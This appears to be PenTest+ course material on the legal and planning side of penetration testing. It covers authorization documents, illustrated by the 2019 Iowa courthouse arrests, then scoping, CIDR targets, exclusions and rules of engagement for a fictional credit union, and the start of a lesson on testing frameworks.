- OffSec. (n.d.). Get Kali; Kali's default credentials; Installing Docker on Kali Linux; Kali Linux hard disk install (system requirements); Import pre-made Kali VirtualBox VM; kali-meta (what the default image contains). kali.org; kali.org (credentials); kali.org (Docker); kali.org (requirements); kali.org (import); kali.org (metapackages)
- Rapid7. (n.d.). Metasploitable 2 and Metasploitable 2 exploitability guide (used here only for the VM's purpose, credentials, services and network warning). docs.rapid7.com; docs.rapid7.com (guide)
- Kimminich, B. (n.d.). Running OWASP Juice Shop. In Pwning OWASP Juice Shop. pwning.owasp-juice.shop; DVWA project. (n.d.). Damn Vulnerable Web Application (README warning). github.com
- Docker, Inc. (2026). Docker terms of use (effective 26 August 2026). docker.com
- Key terms
- Authorization
- Permission to test, given in writing by a system's owner or someone with authority to speak for the owner, naming the systems, times and techniques allowed.
- Computer Fraud and Abuse Act (CFAA)
- The US federal law, 18 U.S.C. 1030, that makes unauthorized access, access beyond authorization and damaging transmissions crimes and allows civil suits.
- Exceeds authorized access
- Under Van Buren (2021), obtaining information from areas of a computer, such as files or databases, that are off-limits to you.
- Computer Misuse Act 1990
- The UK law covering unauthorised access, access with further intent, impairing a computer, serious damage, and making or obtaining tools for those offences.
- Host-only network
- A VirtualBox network containing only the host and selected VMs; the VMs can reach each other and the host but nothing outside.
- Metasploitable 2
- Rapid7's intentionally vulnerable Ubuntu Linux VM, used as a practice target and never exposed to a hostile network.
- OWASP Juice Shop
- A deliberately insecure web application for practicing web testing, run here in Docker bound to the Kali VM's loopback address.
- Snapshot
- A saved state of a whole VM, including its settings such as network adapter modes, that can be restored in seconds, undoing any change made since.
- Host discovery
- Finding which addresses in a range answer, without probing their ports, as nmap -sn does.
Module 2: Planning the Engagement (Domain 1, objectives 1.1 and 1.3)
Work through the documents that make a penetration test lawful and safe, using the 2019 Iowa courthouse arrests as the case; define the scope, targets, assessment types and rules of engagement for a client; and compare the frameworks, methodologies and threat models that give an engagement its structure.
The Courthouse at Midnight: Authorization, Agreements, and Legal Duties
- Distinguish an MSA, SoW, NDA, rules of engagement, authorization letter and terms of service by the question each one answers.
- Explain the shared responsibility model and why a client can authorize testing only of what it controls.
- Describe what PCI DSS, the HIPAA Security Rule and the GDPR ask for, and the mandatory reporting duties a test can trigger.
- Identify the legal and physical risks to a penetration tester and the precautions that reduce them.
A letter with one wrong number
On 9 August 2019 three officials of the Iowa Judicial Branch's State Court Administration signed a letter for two penetration testers to carry. The testers, Gary DeMercurio and Justin Wynn, worked for the security firm Coalfire. The letter said Coalfire had been asked to test the court system's physical security. It listed what the testers might do: impersonate staff or contractors, use false pretenses to get into buildings, follow employees through doors, and enter restricted areas.
It also listed what they must not do: subvert alarms, force doors open, or enter areas that need protective equipment.
Below those lists were the three officials' office and mobile numbers, then their signatures. One mobile number was wrong.
Testers call a letter like this a "get out of jail free" letter, and the Iowa documents use the phrase too. About five weeks later, at around 1:45 in the morning, it was tested in exactly the situation it was written for, and it failed. This lesson follows the Iowa engagement through its documents, then uses it to teach the paperwork, the third parties, the laws and the personal risks that every engagement has to settle before anyone starts.
Exam objectives: 1.1 (agreement types; legal and ethical considerations, including authorization letters, mandatory reporting requirements and risk to the penetration tester; regulations, frameworks and standards for privacy and security; the shared responsibility model).

Brandonrush - CC BY-SA 4.0 - Wikimedia Commons
Three nights in September
The engagement was bigger than the buildings. A master agreement signed with Coalfire in January 2015 still governed the relationship. A 2019 service order and a set of rules of engagement (ROE) added network tests, application tests, phishing, phone pretexting, a wireless assessment and a physical assessment of three buildings. The buildings were the Judicial Branch Building and the Polk County Courthouse in Des Moines, and the Dallas County Courthouse in Adel. Testing ran from 19 August to 27 September, with the physical work set for 9 to 13 September.
The ROE described the physical work in a few short bullets. It could happen "during the day and evening". The testers could talk their way into areas, with "limited physical bypass", try to reach the internal network, and leave devices such as thumb drives behind. Elsewhere, in a section on assumptions, the same ROE said all testing was expected during normal business hours, Monday to Friday from 6 a.m. to 6 p.m. Mountain time. Iowa runs on Central time. Nobody resolved the conflict.
On the night of 9 September, building security later found, the testers began trying to enter the Judicial Branch Building at 9:13 p.m., got in at 9:52 and left at 12:21 a.m. The next morning the court system's IT manager found Wynn's calling card on his desk and emailed his congratulations. According to news reports, the pair entered the Polk County Courthouse shortly after midnight on 10 September. Court IT managers later said they did not know about that entry until it was in the news.
In the early hours of 11 September, Dallas County sheriff's deputies arrested both men inside the Dallas County Courthouse. Deputies phoned the court system's information security officer at about 1:45 a.m.; he believed the letter covered the test. They also phoned the IT director, who told them the testers were not supposed to be in courthouses after hours.
The sheriff's office took the position that the state court administration had no authority to allow after-hours access to a building the county owned. Nobody reached the third contact, because his number on the letter was wrong. Both men were charged with third-degree burglary and possession of burglar tools.
The charges were later reduced to misdemeanor trespass, and on 30 January 2020 prosecutors dropped them. The two testers then sued the county and its sheriff. In January 2026 Dallas County and its former sheriff agreed to pay them $600,000 to settle the suit, more than six years after the arrest.

Farragutful - CC BY-SA 4.0 - Wikimedia Commons
What the investigators found
The Iowa Supreme Court asked the law firm Faegre Baker Daniels to investigate, and its report, dated 9 October 2019, is public. It found no deception or ill intent on either side. It reached four conclusions.
- Red-team testing was misunderstood. Court staff had little experience with physical "red team" work and did not grasp that it might mean entering a building at night. Coalfire's previous test for them, in 2015, had kept to working hours and broken into nothing.
- The agreement was ambiguous. It was spread across several documents: the master agreement, the service order, the ROE with its appendices, and the letter, titled a "Social Engineering Authorization" even though a night-time entry involves no social interaction. The hours clause and the "day and evening" bullet contradicted each other, and the letter said nothing about time of day.
- Oversight was thin. No lawyer reviewed the documents before testing, and the testers went almost silent during the physical work.
- Authority was unclear. Iowa's counties provide the courthouses. Whether the court administration could authorize entry to a county building, including its non-court areas, was a legal question nobody had settled.
Its recommendations read like a checklist for this whole module. Have a lawyer review security-testing contracts, and have the State Court Administrator sign off on any future test. Use fewer documents and more precise terms, with permitted and prohibited techniques spelled out and physical testing treated as its own category. Keep building entry to normal working hours. And confer with sheriffs and other officials who could be affected. One sentence from the report is worth remembering: safety should override any desire to conduct a stealthy assessment.
Why this matters: the failures in Iowa were failures of planning and oversight, not of technical skill. The testers did what the ROE appeared to allow. Objective 1.1 covers this paperwork, and Iowa shows why it earns its place: an engagement can fail here before anyone opens a tool.

Paul R. Burley - CC BY-SA 4.0 - Wikimedia Commons
The paperwork that makes a test lawful
The Iowa engagement used most of the agreement types the exam names. Each answers a different question, and a gap in any one of them leaves that question open.
| Document | The question it answers | In the Iowa engagement |
|---|---|---|
| Master service agreement (MSA) | What legal and commercial terms govern every project between these two parties: liability, payment, confidentiality, how disputes are settled? | A master agreement signed in January 2015 still governed the 2019 work; no new one was signed |
| Statement of work (SoW) | What will this project deliver: the work, the scope, the dates and the price? | Coalfire's service order, which described the project, including "Physical Attacks" on three buildings |
| Non-disclosure agreement (NDA) | What may each side reveal about the other, and to whom? | The ROE's cover says its contents are subject to an NDA between the firm and the client |
| Rules of engagement (ROE) | How will testing be carried out: targets, times, techniques, exclusions, contacts and escalation? | The ROE, with its scope, assumptions, request for information and methodology; Lesson 4 builds one |
| Authorization letter | Who authorized this, and how can someone confronting the testers check it right now? | The "Social Engineering Authorization", with three officials' signatures and numbers, one of them wrong |
| Terms of service (ToS) | What does a third-party platform allow its customers, or their testers, to do? | Not used; it matters whenever a target runs on someone else's service, as the next section shows |
Read the table for its gaps. The authorization letter is the only document a deputy will read at two in the morning, so it has to stand on its own. It needs to say:
- who the testers are
- the dates and hours
- the places
- what they may and may not do
- contacts who will answer the phone
Iowa's letter covered the techniques but not the hours, and one of its contacts could not be reached. Before any physical test, call every number on the letter yourself.
The layering matters too. Under a master agreement, each new project gets its own statement of work and ROE, so the paperwork for a later test can quietly inherit assumptions from an earlier one. Iowa's managers assumed 2019 would look like 2015. Nothing in the documents said so.
Why this matters: an NDA protects secrets, an MSA sets the standing legal terms, and an SoW defines the deliverables. Only the ROE and the authorization letter say what the testers may actually do, so those two documents are where precision counts most.
Who else has a say: third parties and shared responsibility
The county in the Iowa case was a third party: someone who owns, runs or shares part of the target and was not a party to the contract. Modern engagements are full of them. A web application may run on a cloud provider's servers, call a payment processor's API, sit behind a content delivery network and be managed by an outside IT company. Your client can authorize testing only of what it controls.
Cloud providers publish their own terms for this. Amazon Web Services lets customers test a listed set of their own resources, such as EC2 instances, RDS databases and Lambda functions, without asking first. Under that policy it forbids denial-of-service testing of any AWS asset. It also forbids port, protocol and request flooding, and DNS zone walking through Route 53. It asks for a separate simulated-events form before red-team exercises, phishing or command-and-control hosting.
Microsoft's rules for its cloud allow testing in your own tenant. They forbid denial of service, phishing of Microsoft staff and the use of credentials that are not yours. They also tell you to stop at an initial proof of concept and report any flaw in Microsoft's own services to its security response center.
| Party | Responsible for | Example |
|---|---|---|
| Hosting provider | The data centers, hardware and platform; publishing what customers may test | AWS's list of services customers may test without prior approval |
| Customer (the client) | Its own configurations, accounts, data and applications; authorizing tests of what it controls; making sure its testers follow the provider's terms | AWS holds the customer responsible for damage that its testing, or its contracted testers' testing, causes |
| Penetration tester | Staying inside the written scope and the provider's terms; configuring tools safely; reporting what was found | Disabling any tool feature that could flood a service before the test starts |
| Third parties | Systems they own or run inside the client's environment, which need their own permission or must be excluded | A managed service provider's monitoring server, a county-owned courthouse, a SaaS email platform |
AWS's policy is explicit that the customer answers for its testers: customers must make sure their tools are configured not to cause denial of service, and they are responsible for damage to AWS or other customers. So when a client asks you to "include our email provider, since we pay for it", check that provider's terms and get its permission in writing, or leave it out.

BalticServers.com - CC BY-SA 3.0 - Wikimedia Commons
Laws and standards that ask for testing
Many engagements exist because a regulation or an industry standard asks for them. The objectives group them under security and privacy, and the exam expects you to recognize the main ones.
| Rule | What it asks for (paraphrased) | What it means for the test |
|---|---|---|
| PCI DSS v4.0.1, requirement 11.4 (payment cards; security) | External and internal penetration testing at least once every 12 months and after any significant change, with exploitable weaknesses corrected and retested. Where segmentation isolates the cardholder data environment, the segmentation is tested at least once every 12 months (every six months for service providers) and after any change to it. All of this is done by a qualified tester who is organizationally independent | The standard sets a minimum frequency and says who may test; the scope must include every segmentation control in use |
| HIPAA Security Rule, 45 CFR 164.308 (US health data; security) | An accurate and thorough risk analysis, and periodic technical and nontechnical evaluations, repeated after environmental or operational changes | It does not name penetration testing, but a test is one way to meet the evaluation requirement. HHS proposed in January 2025 to require penetration testing at least once every 12 months; when this lesson was checked on 3 November 2026 that rule was not final, and HHS's agenda pointed to July 2027 |
| GDPR Article 32 (personal data in the EU, and in the UK as the UK GDPR; privacy) | A process for regularly testing, assessing and evaluating how well security measures protect personal data | Testing is expected, and the test itself must handle any personal data it touches lawfully and minimally |
The privacy rules cut both ways. A test of a system that holds personal data will show some of that data to the tester: names in a database, messages in a mailbox, records on a file share. The scope documents should say what you may view, what you may keep as evidence (often a redacted screenshot rather than the data itself), where evidence is stored and when it is destroyed.

VulcanSphere - CC BY 4.0 - Wikimedia Commons
When someone must be told: mandatory reporting
A test can uncover things that the law or the contract says must be reported, and the right response is almost never to keep testing. The ROE should name who is told, by whom and how fast. Three cases come up most often.
- Evidence that someone else got there first. Web shells, unknown accounts or logs of an earlier intrusion mean the client may have a breach, and breach laws start clocks. Under GDPR Article 33, a controller must notify the regulator without undue delay and, where feasible, within 72 hours of becoming aware of a personal data breach, unless the breach is unlikely to put people's rights and freedoms at risk, and a processor must tell the controller without undue delay. Your job is to stop work on that system, preserve what you saw, and tell the client's named contact at once, not to save it for the report.
- Illegal content. If you find what appears to be child sexual abuse material, stop. Do not open more of it, copy it or move it, because possessing or sharing it is a serious crime, and escalate immediately to the client contact and legal counsel named in the ROE. In the US, federal law (18 U.S.C. 2258A) requires providers of electronic communication and remote computing services to report apparent child sexual abuse material to the National Center for Missing and Exploited Children, and the client's lawyers decide what the law requires of the client.
- Critical findings. A flaw that puts safety or large amounts of data at immediate risk is usually reported as soon as it is confirmed, through the escalation path in the ROE, rather than weeks later in the report.
Notice who reports to whom. In most cases the tester reports to the client, and the client, advised by its lawyers, reports to regulators or police. The ROE should settle this in advance, because two in the morning is not the time to work it out.
The risk to the tester
The exam lists risk to the penetration tester as a legal and ethical consideration of its own, and Iowa shows why. DeMercurio and Wynn were arrested and charged with felonies, the charges hung over them for months, and their lawsuit was settled only in January 2026. The engagement's own questionnaire had asked whether armed personnel worked at the sites, and for the Polk County Courthouse the answer was yes. A tester who startles an armed guard at night is in physical danger, not just legal trouble.
Practical protections follow from the case:
- Carry the authorization letter and photo ID, and check every contact number on the letter before the test.
- Agree in writing whether building security and local police will be told, and by whom. The investigators recommended conferring with sheriffs, and noted that little is lost by giving notice.
- Stop the moment you are challenged. Identify yourself, show the letter, keep your hands visible and let the contacts confirm you. Never run.
- Work in pairs, check in with the client at agreed times, and stop if a contact cannot be reached.
- Make sure your firm carries professional liability insurance and that the contract says who bears the cost if something breaks.
Why this matters: an authorization letter protects you only if the person who signed it had the authority to sign, the contacts answer, and its terms match what you are doing at that moment.
Common misconceptions
- "An authorization letter means you cannot be arrested." It shows that whoever signed it authorized you. If they lacked authority over the premises or system, as the Dallas County sheriff argued, it does not bind the real owner.
- "The client can authorize testing of everything it uses." It can authorize only what it controls. Cloud platforms, SaaS providers, managed service providers and building owners need their terms checked or their own permission.
- "The NDA covers what we are allowed to test." An NDA governs confidentiality. Scope and techniques belong in the SoW and the ROE.
- "If we find evidence of a crime, we should keep going to gather more." Stop, preserve what you saw, and escalate. Investigating belongs to the client's incident responders and, where appropriate, the police.
- "Cloud providers forbid penetration testing." AWS and Microsoft both allow customers to test their own resources, within published rules that forbid denial of service and testing other customers.
What to carry forward
- The Iowa engagement failed on paper: conflicting hours, no legal review, thin oversight, unclear authority over county buildings, and a wrong contact number.
- MSA: standing legal terms. SoW: this project's work. NDA: confidentiality. ROE: how the testing is done. Authorization letter: proof of permission for whoever confronts you. ToS: what a third-party platform allows.
- Clients can authorize only what they control; cloud providers publish testing rules, and AWS holds customers responsible for their testers.
- PCI DSS v4.0.1 requires penetration testing at least every 12 months and segmentation tests at least yearly, or every six months for service providers; HIPAA requires periodic evaluations; GDPR Article 32 requires regular testing of security measures.
- Evidence of a prior breach, illegal content or a critical flaw means stop, preserve and escalate through the ROE's path, because legal clocks may already be running.
- Protect yourself: verify contacts, agree on notifications, stop when challenged, and let safety outrank stealth.
Sources
- Faegre Baker Daniels. (2019, October 9). Coalfire investigation report (prepared for the Iowa Supreme Court). Iowa Judicial Branch. iowacourts.gov (PDF)
- Iowa Judicial Branch, State Court Administration. (2019, September 18). State Court Administration statement, with the redacted Coalfire contract documents, including Coalfire Systems' Penetration test rules of engagement (version 1.0, 30 July 2019). iowacourts.gov; iowacourts.gov (ROE, PDF)
- Krebs, B. (2020, January 31). Iowa prosecutors drop charges against men hired to test their security. KrebsOnSecurity. krebsonsecurity.com
- KCRG. (2026, January). Cybersecurity testers reach $600,000 settlement after wrongful arrest. kcrg.com
- Amazon Web Services. (n.d.). Penetration testing (customer policy). aws.amazon.com; Microsoft Security Response Center. (n.d.). Microsoft security testing rules of engagement. microsoft.com
- PCI Security Standards Council. (2024). Just published: PCI DSS v4.0.1 (v4.0 retired 31 December 2024); and (2022). PCI DSS v4.0 self-assessment questionnaires D for merchants and D for service providers (text of requirements 11.4.2 to 11.4.6; the full v4.0.1 standard sits behind the council's document library agreement). pcisecuritystandards.org (v4.0.1); pcisecuritystandards.org (merchants, PDF); pcisecuritystandards.org (service providers, PDF)
- 45 CFR 164.308, Administrative safeguards (HIPAA Security Rule). Legal Information Institute, Cornell Law School. law.cornell.edu; US Department of Health and Human Services. (2025, January 6). HIPAA Security Rule to strengthen the cybersecurity of electronic protected health information (notice of proposed rulemaking), 90 FR 898. federalregister.gov; Alston & Bird. (2026, July 10). HHS Office for Civil Rights delays final HIPAA Security Rule until 2027. alston.com
- Regulation (EU) 2016/679 (General Data Protection Regulation), Articles 32 and 33, as it applies in the UK. legislation.gov.uk. Article 32; Article 33
- 18 U.S.C. 2258A, Reporting requirements of providers. Legal Information Institute, Cornell Law School. law.cornell.edu
- Key terms
- Master service agreement (MSA)
- A standing contract that sets the legal and commercial terms, such as liability, payment and disputes, for every project between two parties.
- Statement of work (SoW)
- The project-level document that defines the work, deliverables, scope, dates and price of one engagement.
- Non-disclosure agreement (NDA)
- A contract that limits what each party may reveal about the other's information.
- Rules of engagement (ROE)
- The document that sets how testing is done: targets, times, techniques, exclusions, contacts and escalation.
- Authorization letter
- A signed letter, carried by testers, that shows who authorized the test, for what, when, and whom to call to confirm it.
- Terms of service (ToS)
- A platform's own rules for its customers, which can allow, limit or forbid testing of services it hosts.
- Shared responsibility model
- The division of security duties between a hosting provider, its customer, the customer's testers and any other third parties.
- Third party
- Anyone who owns, runs or shares part of a target without being a party to the testing contract, and whose consent the client cannot give.
- Mandatory reporting
- A legal or contractual duty to report certain discoveries, such as a breach or illegal content, promptly through a set path.
Drawing the Lines: Scope, Targets, Assessment Types, and Rules of Engagement
- Match a client's goals to assessment types: network, web, API, mobile, application, cloud and wireless.
- Write targets as CIDR ranges, domains, IP addresses and URLs, calculate what a range covers, and verify that every target belongs to the client.
- Build rules of engagement with exclusions, test cases, an escalation process and a testing window, following NIST SP 800-115's template.
- Recognize scope errors and scope creep, and handle them with written amendments.
One character in a range
The range 203.0.113.0/26 holds 64 addresses. The range 203.0.113.0/25 holds 128. On a scope form the two differ by a single character, and the second one can sweep a stranger's network into your test. Lesson 3 showed how vague words about time put two testers in jail. This lesson is about getting every other line of the scope right: what kind of test, against which targets, excluding what, when, checking what, and with whom to call when something goes wrong.
The lesson walks one fictional engagement from the client's first email to a signed set of rules of engagement (ROE), then runs it again with one input changed. The client is Corvid Bay Credit Union, a made-up organization. Its addresses come from blocks that RFC 5737 reserves for documentation, 192.0.2.0/24, 198.51.100.0/24 and 203.0.113.0/24, which should never appear on the public internet. Its domain, corvidbay.example, uses the .example top-level domain that RFC 2606 reserves for examples. So nothing in the worked example can point at a real organization.
Exam objectives: 1.1 (scope definition; target selection by CIDR ranges, domains, IP addresses and URLs; assessment types: web, network, mobile, cloud, API, application and wireless; rules of engagement: exclusions, test cases, escalation process and testing window).
Step 1: Turn the client's goals into assessment types
Corvid Bay's security manager writes: "Our examiners want an external penetration test this year. We also launched a new online banking site and a mobile app in the spring, and we would like to know whether members can see each other's data. And we are worried about the Wi-Fi at our head office." Before any address is written down, those sentences have to become named assessment types, because each type needs different access, tools and standards.
| Assessment type | What is tested | How the scope names it | What it needs |
|---|---|---|---|
| Network (external or internal) | Hosts and services reachable from the internet, or from inside the network | CIDR ranges, IP addresses, hostnames | For internal tests, a way in: on-site access, a VPN account or a jump box |
| Web | A web application's logic, sessions, input handling and access control | URLs and environments (production or staging) | Test accounts at each user role; the OWASP Web Security Testing Guide is the usual reference |
| API | The interface that apps and partners call, apart from any user interface | Base URLs, endpoints, an API specification such as an OpenAPI file | API keys or test accounts; the OWASP API Security Top 10 lists the common flaws |
| Mobile | The app on the device: storage, platform interaction, network use | App builds and versions for each platform, plus the back-end endpoints | Test devices; OWASP's Mobile Application Security Verification Standard (MASVS) |
| Application | Installed or thick-client software and the servers it talks to | Product name, version, binaries, server addresses | An installed copy and test credentials |
| Cloud | Accounts, identities, configurations and services in a cloud platform | Account, subscription or project identifiers, and services | Read access for configuration review; the provider's testing terms (Lesson 3) |
| Wireless | Wi-Fi networks, their encryption and authentication, and segmentation | Physical locations, network names (SSIDs) and access point identifiers (BSSIDs) | Presence on site; any disruptive technique approved explicitly |
For Corvid Bay that is four types:
- an external network test
- a web test of online banking
- an API and mobile test of the app and the interface behind it
- a wireless test of head office
The examiners' request also sets a standard to meet, and the member-data worry becomes the heart of the web and API work.
In short: the assessment type decides what you will need from the client, so name the types before you collect a single address.
Step 2: Write down the targets, then prove they belong to the client
Corvid Bay sends its list: the external range 203.0.113.0/26, the online banking site at onlinebanking.corvidbay.example, the API at api.corvidbay.example, and the two head-office networks, CB-Staff and CB-Guest. Start with the arithmetic. CIDR notation, defined in RFC 4632, writes a block as an address followed by a slash and the number of fixed leading bits, out of 32 for IPv4. The addresses in the block number 2 raised to the power of the remaining bits.
| Block | Fixed bits | Addresses | Range |
|---|---|---|---|
| 203.0.113.0/24 | 24 | 2 to the 8th = 256 | 203.0.113.0 to 203.0.113.255 |
| 203.0.113.0/25 | 25 | 2 to the 7th = 128 | 203.0.113.0 to 203.0.113.127 |
| 203.0.113.0/26 | 26 | 2 to the 6th = 64 | 203.0.113.0 to 203.0.113.63 |
| 203.0.113.64/27 | 27 | 2 to the 5th = 32 | 203.0.113.64 to 203.0.113.95 |
| 203.0.113.16/28 | 28 | 2 to the 4th = 16 | 203.0.113.16 to 203.0.113.31 |
Each extra fixed bit halves the block. So the /26 that Corvid Bay sent is 64 addresses, 203.0.113.0 to 203.0.113.63. Now prove they are Corvid Bay's. NIST SP 800-115 says that when you are handed a list of public target addresses, you should verify before testing begins that all of them are under the organization's purview. It suggests registration records such as WHOIS. The Penetration Testing Execution Standard (PTES) adds the supporting pieces: confirm who owns the DNS servers, mail servers, web hosting and firewalls, because many organizations outsource them.
Corvid Bay's registration records show the /26 assigned to the credit union. They also show that the next block, 203.0.113.64/27, belongs to its colocation provider, which uses it to manage its own equipment. Hold on to that fact.
Domains and URLs need the same care. A lookup shows that onlinebanking.corvidbay.example resolves to 198.51.100.17, an address of a content delivery network shared by thousands of customers. Testing that IP address would mean testing the network's servers, not the credit union's. So the web test is scoped by hostname and URL, under the delivery network's published terms, and never by the shared address. The API, at 203.0.113.20, sits inside Corvid Bay's own /26.
One safe habit catches many of these mistakes. Nmap's list scan, nmap -sL, prints every address a range expands to without sending any packets to the targets. By default it still looks up each address's name in DNS, and Nmap's documentation points out that those names can reveal targets that belong to the wrong organization. Add -n to skip the lookups when all you want is the arithmetic.

Fred the Oyster i The source code of this SVG is valid . This... - CC0 - Wikimedia Commons
Step 3: Draw the exclusions
NIST calls the list of systems not authorized for testing the "exclude list", and says it is crucial to have one. Exclusions come from three sources: ownership, fragility and the client's own priorities. Corvid Bay's list:
- 203.0.113.64/27, the colocation provider's management network (a third party).
- The core banking system and its database servers, which the credit union will not risk in production.
- The bill-payment service run by an outside processor, reached from the online banking site (a third party).
- Any denial-of-service testing, anywhere.
- Social engineering of staff or members, which the client may buy later under a separate agreement.
An exclusion should be as precise as a target: an address, a hostname or a named function, never "sensitive systems".

Victor Grigas - CC BY-SA 3.0 - Wikimedia Commons
Step 4: Set the testing window
The testing window says when testing may happen, and Lesson 3 showed what a vague one costs. NIST's ROE template asks the schedule to address the hours of testing, and notes that technical testing of an operational site may be better run in the evening than at peak business times. Corvid Bay chooses:
- external and web testing from 08:00 to 18:00 US Central Time (America/Chicago), Monday to Friday, which is 14:00 to 00:00 UTC in winter
- wireless testing on site on two named days
- no testing at all on the last two business days of each month, when member transactions peak
Write the time zone by name. Testers and clients are often in different ones.

Mecholix - CC BY-SA 4.0 - Wikimedia Commons
Step 5: Write test cases
Test cases turn the client's worries into checks you can report against. A good one names a starting position, an action and an observable result. Corvid Bay's include:
- From the internet, which services in 203.0.113.0/26 answer, and do any expose an administrative interface?
- Logged in as one test member, can you view another test member's statements by changing an account identifier in a request?
- Does the mobile API accept requests that carry no valid session token, or an expired one?
- From a device on CB-Guest, can you reach any address on the CB-Staff network?
Notice the second case. It uses two test accounts the client creates for the purpose, so the test proves the weakness without touching any real member's data.
Step 6: Agree the escalation process
NIST's template calls this incident handling and response, and calls it critical. It wants criteria for halting the test, the course of action if testing harms the network or a real attacker appears mid-test, the client's call tree in quick-reference form, and a process for resuming. PTES adds that every emergency contact should have a full name, a title, the authority to discuss the test, and two ways to reach them around the clock. For Corvid Bay:
- Stop and call at once if any service slows or fails, if you find signs of a real intrusion, if you find illegal content, or if a finding exposes member data.
- Who to call, in order: the client's security manager, then the IT on-call line, then the executive sponsor; each with two verified numbers.
- Restarting: only after the security manager confirms in writing that testing may resume.
Step 7: Assemble the ROE and sign it
NIST SP 800-115's Appendix B gives a template whose structure NIST itself calls illustrative, so adapt it rather than copy it. Here it is with Corvid Bay's entries.
| Template section | What goes in it | Corvid Bay entry |
|---|---|---|
| Introduction | Purpose, scope, assumptions and limitations, risks | Examiner-requested external test plus web, API, mobile and wireless; risk of service disruption noted |
| Logistics | Personnel and contacts, schedule and hours, test site, test equipment | Named testers and contacts; the window from Step 4; testers' source addresses listed so the client can tell them apart |
| Communication strategy | Status meetings; incident handling and halting criteria | Daily status email; the escalation process from Step 6 |
| Target system and network | Authorized targets and the exclude list | Step 2's targets and Step 3's exclusions |
| Testing execution | Allowed and forbidden activities, methodology, data handling | Test cases from Step 5; no denial of service; redacted screenshots as evidence; evidence encrypted and destroyed 90 days after the report |
| Reporting | Deliverables, contents and frequency | Draft report, then final report with remediation guidance |
| Signature page | Accountable parties | Signed by the test team leader and the credit union's senior management |
The signature page matters as much as the content. NIST says the test team leader and the organization's senior management should, at a minimum, sign to show they understand the scope and its boundaries.
In short: a finished scope names every target and every exclusion precisely and says when testing happens in a stated time zone. It also lists checks you can report against, and tells everyone whom to call and when to stop.
Run it again with one input changed
Now change three inputs, one at a time, and watch the scope break.
The typo. Suppose Corvid Bay's form had said 203.0.113.0/25. That block runs from 203.0.113.0 to 203.0.113.127, so it contains the credit union's 64 addresses and also the colocation provider's 203.0.113.64/27, plus 32 more addresses whose owner nobody checked. A sweep of the range as written would scan a third party without its permission. The list scan would have shown it: names belonging to the provider's routers would appear in the output. The fix is not to quietly test the smaller block. Correct the document and have it signed again.
The shared address. Suppose the scope had listed the online banking site by its address, 198.51.100.17, under the network test. Every port scan of that address would hit a delivery-network server that also serves thousands of other customers. Same site, same client, different target, and the second one is not the client's to authorize.
The helpful email. On day two the client's IT manager writes: "While you're in there, can you check our new VPN gateway at 192.0.2.10?" It is not in the ROE. PTES's advice on scope creep is blunt: document additional work in a statement of work, and start nothing until it is signed and countersigned. Two more questions follow. Does the IT manager have the authority to sign? And is 192.0.2.10 Corvid Bay's at all? Until both are answered in writing, the gateway is out of scope.

Д.Ильин : vectorization - CC0 - Wikimedia Commons
Common misconceptions
- "If the client lists an address, it is theirs." Clients make mistakes, and addresses change hands. NIST tells testers to verify ownership of every public address before testing.
- "A /25 is smaller than a /26." The reverse: each extra bit after the slash halves the block, so a /25 is twice the size of a /26.
- "A web application's IP address is the same thing as the application." Behind a content delivery network or shared hosting, one address can serve many organizations, so web tests are scoped by hostname and URL.
- "An email from the client's staff is enough to add a target." Changes need the same written authority as the original scope, from someone entitled to give it.
- "Escalation means telling the client at the end." Escalation is for during the test: stop conditions, a call tree and a way to restart.
The short version
- Name the assessment types first: network, web, API, mobile, application, cloud and wireless each need different access and standards.
- Write targets precisely, as CIDR ranges, IP addresses, domains and URLs; calculate what each range covers; and verify ownership with registration records and the client.
- Keep an exclude list of third-party, fragile and unwanted systems and techniques.
- Set the testing window in hours, days, blackout dates and a named time zone.
- Write test cases with a starting position, an action and an observable result, using test accounts rather than real people's data.
- Agree halting criteria, a call tree with two verified numbers per contact, and a written restart; then sign the ROE at senior level.
- Treat every change, including a helpful email, as a scope amendment that needs new signatures.
Sources
- Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 5.2 and Appendix B, Rules of engagement template. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
- The PTES Team. (n.d.). Pre-engagement interactions. In Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pentest-standard.readthedocs.io
- Fuller, V., and Li, T. (2006). Classless Inter-domain Routing (CIDR): The Internet address assignment and aggregation plan (RFC 4632). RFC Editor. rfc-editor.org
- Arkko, J., Cotton, M., and Vegoda, L. (2010). IPv4 address blocks reserved for documentation (RFC 5737); and Eastlake, D., and Panitz, A. (1999). Reserved top level DNS names (RFC 2606). RFC Editor. rfc-editor.org (RFC 5737); rfc-editor.org (RFC 2606)
- Lyon, G. (n.d.). Host discovery. In Nmap reference guide. nmap.org
- OWASP Foundation. (n.d.). Web Security Testing Guide; OWASP API Security Top 10 (2023); Mobile Application Security Verification Standard (MASVS). owasp.org (WSTG); owasp.org (API Top 10); mas.owasp.org
- Key terms
- Scope
- The written boundaries of a test: assessment types, targets, exclusions, times and techniques.
- Assessment type
- The kind of test, such as network, web, API, mobile, application, cloud or wireless, each with its own access needs and standards.
- CIDR notation
- Writing an address block as an address, a slash and the number of fixed leading bits; a /26 in IPv4 holds 2 to the 6th, or 64, addresses.
- Exclude list
- NIST's term for the systems and addresses explicitly not authorized for testing.
- Testing window
- The dates, hours, blackout periods and named time zone in which testing may take place.
- Test case
- A planned check with a starting position, an action and an observable result that the report can answer.
- Escalation process
- The agreed criteria for halting a test, the order of contacts to call, and the written step for resuming.
- Scope creep
- Work added beyond the signed scope; PTES says to start none of it until a new statement of work is signed and countersigned.
- List scan
- Nmap's -sL option, which prints the addresses a target specification expands to without sending packets to them.
Six Maps of One Territory: Testing Frameworks, Methodologies, and Threat Models
- Compare PTES, OSSTMM and NIST SP 800-115 as methodologies for planning and running a penetration test, including OSSTMM's test types.
- Explain what CREST, MITRE ATT&CK, the OWASP Top 10 and OWASP MASVS each contribute to an engagement and its report.
- Use the Purdue model to describe where industrial systems sit and why testing them needs extra care.
- Apply STRIDE to categorize threats, DREAD to rate them, and explain what OCTAVE assesses.
Two threats, one scale
In June 2003 a team at Microsoft published a guide chapter on threat modeling that rated two threats to a web application. An attacker reading passwords off the network scored 12. SQL commands injected into the application scored 14. The scale ran from 5 to 15, built from five questions whose initials spell DREAD, and both threats came out "High". Microsoft now marks the chapter as retired content, but the model it describes is on the PenTest+ objectives, along with nine other frameworks and models.
